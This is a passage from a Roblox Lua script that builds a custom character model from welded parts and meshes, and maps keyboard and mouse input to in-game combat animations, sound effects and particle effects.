  2564. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2565. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2566. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2567. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2568. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2569. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2570. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2571. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2572. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2573. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2574. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2575. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2576. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2577. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2578. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2579.  
  2580. local modelzorz3=Instance.new("Model")
  2581. modelzorz3.Parent=Character
  2582. modelzorz3.Name="Eye"
  2583.  
  2584. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2585. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2586. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2587. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2588. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2589. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2590. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2591. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2592. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2593. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2594. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2595. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2596. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2597. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2598. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2599. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2600. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2601. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2602. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2603. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2604. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2605. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2606. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2607. local moosick = it("Sound",Character)
  2608. moosick.SoundId = "rbxassetid://679297727"
  2609. --142653441, 175067863
  2610. moosick.Looped = true
  2611. moosick.Pitch = 0.9775
  2612. moosick.Volume = 1.5
  2613. moosick:Play()
  2614.  
  2615. anim = Character:findFirstChild("Animate")
  2616. if anim then
  2617. anim:Destroy()
  2618. end
  2619.  
  2620. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2621. particleemitter.VelocitySpread = 180
  2622. particleemitter.Lifetime = NumberRange.new(0.1)
  2623. particleemitter.Speed = NumberRange.new(2)
  2624. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2625. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2626. particleemitter.Rate = 100
  2627. particleemitter.Rotation = NumberRange.new(-45, 45)
  2628. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2629. particleemitter.LightEmission = 0.8
  2630. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2631.  
  2632. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2633. particleemitter.VelocitySpread = 180
  2634. particleemitter.Lifetime = NumberRange.new(0.1)
  2635. particleemitter.Speed = NumberRange.new(2)
  2636. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2637. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2638. particleemitter.Rate = 100
  2639. particleemitter.Rotation = NumberRange.new(-45, 45)
  2640. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2641. particleemitter.LightEmission = 0.8
  2642. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2643.  
  2644. local particleemitter = Instance.new("ParticleEmitter", handle)
  2645. particleemitter.VelocitySpread = 180
  2646. particleemitter.Lifetime = NumberRange.new(0.1)
  2647. particleemitter.Speed = NumberRange.new(2)
  2648. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2649. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2650. particleemitter.Rate = 100
  2651. particleemitter.Rotation = NumberRange.new(-45, 45)
  2652. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2653. particleemitter.LightEmission = 0.8
  2654. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2655.  
  2656. local light = Instance.new("PointLight", Character.Torso)
  2657. light.Color = Color3.new(255,255,255)
  2658. light.Brightness = 5
  2659. light.Range = 15
  2660.  
  2661. particleemitter.Enabled = true
  2662.  
  2663. local Footsteps = it("Sound",Character.Torso)
  2664. Footsteps.SoundId = "rbxassetid://142665235"
  2665. Footsteps.Looped = true
  2666. Footsteps.Pitch = 0.8
  2667. Footsteps.Volume = 0.3
  2668.  
  2669. local Footsteps2 = it("Sound",Character.Torso)
  2670. Footsteps2.SoundId = "rbxassetid://142665235"
  2671. Footsteps2.Looped = true
  2672. Footsteps2.Pitch = 1
  2673. Footsteps2.Volume = 0.4
  2674.  
  2675. local cam = game.Workspace.CurrentCamera
  2676.  
  2677. --cam.CameraSubject = Character
  2678.  
  2679. for i,v in pairs(Head:children()) do
  2680. if v:IsA("Sound") then
  2681. v:Destroy()
  2682. end
  2683. end
  2684.  
  2685. mouse.Button1Down:connect(function()
  2686. if attack==false and attacktype==1 then
  2687. attacktype=2
  2688. attackone()
  2689. elseif attack==false and attacktype==2 then
  2690. attacktype=3
  2691. attacktwo()
  2692. elseif attack==false and attacktype==3 then
  2693. attacktype=4
  2694. attackthree()
  2695. elseif attack==false and attacktype==4 then
  2696. attacktype=1
  2697. attackfour()
  2698. end
  2699. end)
  2700.  
  2701. mouse.KeyDown:connect(function(k)
  2702. k=k:lower()
  2703. if k=='e' then
  2704. if attack==false and mana>=20 then
  2705. Push()
  2706. end
  2707. elseif k=='g' then
  2708. if attack==false and mana>=50 then
  2709. Twirl()
  2710. end
  2711. elseif k=='v' then
  2712. if attack==false and mana>=25 then
  2713. MagicJump()
  2714. end
  2715. elseif k=='c' then
  2716. if attack==false then
  2717. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2718. attack=true
  2719. for i = 1, 40 do
  2720. swait()
  2721. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2722. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2723. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2724. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2725. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2726. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2727. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2728. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2729. end
  2730. Blaze()
  2731. attack = false
  2732. end
  2733. end
  2734. elseif k=='x' then
  2735. if attack==false then
  2736. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2737. attack=true
  2738. for i = 1, 15 do
  2739. swait()
  2740. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2741. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2742. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2743. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2744. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2745. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2746. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2747. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2748. end
  2749. so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
  2750. so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
  2751. for i = 0, 30 do
  2752. BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
  2753. wait(0.1)
  2754. end
  2755. local parteffected = Instance.new("Part",tors)
  2756. parteffected.Transparency = 1
  2757. parteffected.Position = tors.Position
  2758. parteffected.CanCollide = false
  2759. parteffected.Anchored = true
  2760. so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
  2761. so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
  2762. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
  2763. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
  2764. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
  2765. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
  2766. local sbs = Instance.new("BodyPosition", RootPart)
  2767. sbs.P = 3000
  2768. sbs.D = 1000
  2769. sbs.maxForce = Vector3.new(500000, 500000000, 500000)
  2770. sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
  2771. for i = 1, 40 do
  2772. swait()
  2773. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2774. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2775. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2776. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2777. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2778. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2779. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2780. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2781. end
  2782. wait(3)
  2783. Blaze2()
  2784. attack = false
  2785. parteffected:Destroy()
  2786. sbs:Destroy()
  2787. end
  2788. end
  2789. elseif k=='q' then
  2790. if attack==false then
  2791. so("http://www.roblox.com/asset/?id=180456209",char,0.5,2.75)
  2792. idle=1000
  2793. randomquote = math.random(1,10)
  2794. if randomquote == 1 then
  2795. text.Text = "wh..?~"
  2796. elseif randomquote == 2 then
  2797. text.Text = "heheh?~"
  2798. elseif randomquote == 3 then
  2799. text.Text = "uh..?~"
  2800. elseif randomquote == 4 then
  2801. text.Text = "w-why are you l-looking..?~"
  2802. elseif randomquote == 5 then
  2803. text.Text = "..?~"
  2804. elseif randomquote == 6 then
  2805. text.Text = "dont you know me..?~"
  2806. elseif randomquote == 7 then
  2807. text.Text = "oh.~"
  2808. elseif randomquote == 8 then
  2809. text.Text = "~.~"
  2810. elseif randomquote == 9 then
  2811. text.Text = ">~<"
  2812. elseif randomquote == 10 then
  2813. text.Text = "well..?~"
  2814. end
  2815. end
  2816. elseif k=='h' then
  2817. if attack==false then
  2818. mana=100
  2819. end
  2820. elseif k=='y' then
  2821. if attack==false and mana>=100 then
  2822. Shred()
  2823. end
  2824. elseif k=='f' then
  2825. if attack==false and mana>=40 then
  2826. Spin()
  2827. end
  2828. elseif k=='r' then
  2829. if attack==false and mana>=20 then
  2830. Clap()
  2831. end
  2832. elseif k=='t' then
  2833. if attack==false then
  2834. Hai()
  2835. end
  2836. elseif k=='0' then
  2837. if attack==false then
  2838. Humanoid.WalkSpeed=(24)
  2839. end
  2840. elseif k=='j' then
  2841. if attack==false then
  2842. Humanoid.Health = 10
  2843. print("Congrats, you commited suicide.")
  2844. end
  2845. end
  2846. end)
  2847.  
  2848. mouse.KeyDown:connect(function(k)
  2849. if k == "z" and Ultramode == false then
  2850. if attack==false then
  2851. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2852. attack = true
  2853. for i = 1, 15 do
  2854. swait()
  2855. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2856. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2857. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2858. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2859. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2860. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2861. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2862. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2863. end
  2864. m:Destroy()
  2865. local m = Instance.new("Model", Character)
  2866. m.Name = "WeaponModel"
  2867. local parta = Instance.new("Part",Character)
  2868. parta.Size = vt(10,10,10)
  2869. parta.BrickColor = BrickColor.new("Really black")
  2870. parta.Material = "Neon"
  2871. parta.Shape = "Ball"
  2872. parta.Transparency = 0
  2873. parta.Anchored = true
  2874. parta.CanCollide = false
  2875. parta.CFrame = tors.CFrame
  2876. Transform()
  2877. parta:Destroy()
  2878.  
  2879. local modelzorzz=Instance.new("Model")
  2880. modelzorzz.Parent=Character
  2881. modelzorzz.Name="Claw1"
  2882.  
  2883. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2884. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2885. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2886. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2887. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2888. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2889. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2890. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2891. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2892. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2893. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2894. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2895. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2896. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2897. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2898. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2899. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2900. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2901. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2902. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2903. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2904. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2905. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2906. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2907. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2908. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2909. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2910. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2911. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2912. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2913. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2914. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2915. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2916. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2917. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2918. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2919. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
